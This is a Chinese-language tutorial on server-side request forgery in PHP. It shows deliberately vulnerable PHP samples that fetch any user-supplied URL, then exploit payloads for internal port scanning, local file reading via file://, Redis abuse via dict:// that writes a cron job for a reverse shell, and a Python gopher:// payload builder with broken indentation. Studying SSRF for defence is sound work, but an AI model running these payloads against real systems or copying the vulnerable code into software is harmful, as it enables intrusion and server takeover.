PHP中的SSRF危险函数如下

1
2
3
4
curl_exec()
file_get_content()
fsockopen()
fopen()

PHP危险函数

curl_exec

使用该函数时使用到了libcurl库,libcurl支持http、https、ftp、gopher、telnet、dict、file、ldap协议

curl可进行DNS缓存,同一个域名下的资源只需要进行一次DNS查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);   //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");
$url = $_REQUEST['url'];
// 创建一个cURL资源
$ch = curl_init();    //初始化一个curl会话
// 设置URL和相应的选项,更多选项可在phpstorm中使用使用Ctrl+左键点击参数项进行查看
curl_setopt($ch, CURLOPT_URL, $url);   //获取url传递的参数
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //如果不开启此选项则默认不跟随302跳转,除非代码中有Location
curl_setopt($ch, CURLOPT_RETURNTRANSFER,0);  //如果此选项被设置为FALSE,函数执行时会返回执行结果,如果为true的话需要使用echo等函数进行输出
//执行一个curl会话
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
//echo $res;
?>

file_get_content

1
2
3
4
5
6
<?php
highlight_file(__FILE__);  //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");
$url = $_REQUEST['url'];
echo file_get_contents($url);  //默认不回显内容需使用echo等函数进行输出
?>

fsockopen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);   //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");
$url = parse_url($_GET[url]);
//var_dump($url);
$fp = fsockopen("$url[host]", $url[port]?$url[port]:80, $errno, $errstr, 10);
//echo $fp;
if(!$fp)
{
echo "$errstr ($errno)<br>\n";
}
else {
fputs($fp,"GET / HTTP/1.0\nHost: $url[host]\n\n");
while(!feof($fp)) {
echo fgets($fp,128);
}
fclose($fp);
}
?>

fopen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);   //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");
$url = $_GET['url'];
$fp = fopen($url,"r");
if(!$fp)
{
  echo "error<br>\n";
}
else {
  while (!feof($fp)) {
    echo fgets($fp, 128);
 }
}
fclose($fp);
?>

漏洞利用

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);   //该代码的作用只是在前端高亮显示后端代码
header("Content-Type: text/html; charset=utf-8");
$url = $_REQUEST['url'];
// 创建一个cURL资源
$ch = curl_init();    //初始化一个curl会话
// 设置URL和相应的选项,更多选项可在phpstorm中使用使用Ctrl+左键点击参数项进行查看
// 我们可以使用Burp中intruder模块对内网端口进行探测
// 首先在Intruder模块中将端口设置为变量
// 通过返回包 length 长度以及 response 响应来判断该端口是否开放
curl_setopt($ch, CURLOPT_URL, $url);   //获取url传递的参数
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //如果不开启此选项则默认不跟随302跳
转,除非代码中有Location
curl_setopt($ch, CURLOPT_RETURNTRANSFER,0);  //如果此选项被设置为FALSE,函数执行时会返
回执行结果,如果为true的话需要使用echo等函数进行输出
//执行一个curl会话
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
//echo $res;
?>

端口服务探测

当遇到存在的端口时,就有返回内容

1
/xxx.php?url=http://127.0.0.1:端口

file协议文件读取

1
/xxx.php?url=file:///路径

dict查看banner信息

模板

1
/xxx.php?url=dict://IP:端口/命令:参数

查看ssh信息

1
/xxx.php?url=dict://IP:22/

执行info命令查看redis信息

1
/xxx.php?url=dict://IP:6379/info

写入计划任务

1
2
3
4
/xxx.php?url=dict://IP:6379/config:set:dir:/var/spool/cron
/xxx.php?url=dict://IP:6379/config:set:dbfilename:root
/xxx.php?url=dict://IP:6379/set:1:反弹shell命令
/xxx.php?url=dict://IP:6379/save

gopher协议利用

gopher协议可以一条命令执行所有的语句,而dict只能一条一条地执行

模板

1
gopher://ip:端口/路径_TCP数据流

payload构造,假设一台机器存在ssrf,且其中的内网环境机子存在redis未授权

请求包处理脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import re
import urllib.parse

data = input("请求报文: ")
ip = input("目标ip: ")
port = input("目标端口:")
data = urllib.parse.quote(data)
strinfo = re.compile('%0A', re.I)
new = strinfo.sub('%0D%0A', data)
new = 'gopher://' + ip + ':' + port + '/_' + new + '%0D%0A'
new = urllib.parse.quote(new)
with open('Result.txt', 'w') as f:
f.write(new)
with open('Result.txt', 'r') as f:
for line in f.readlines():
print(line.strip())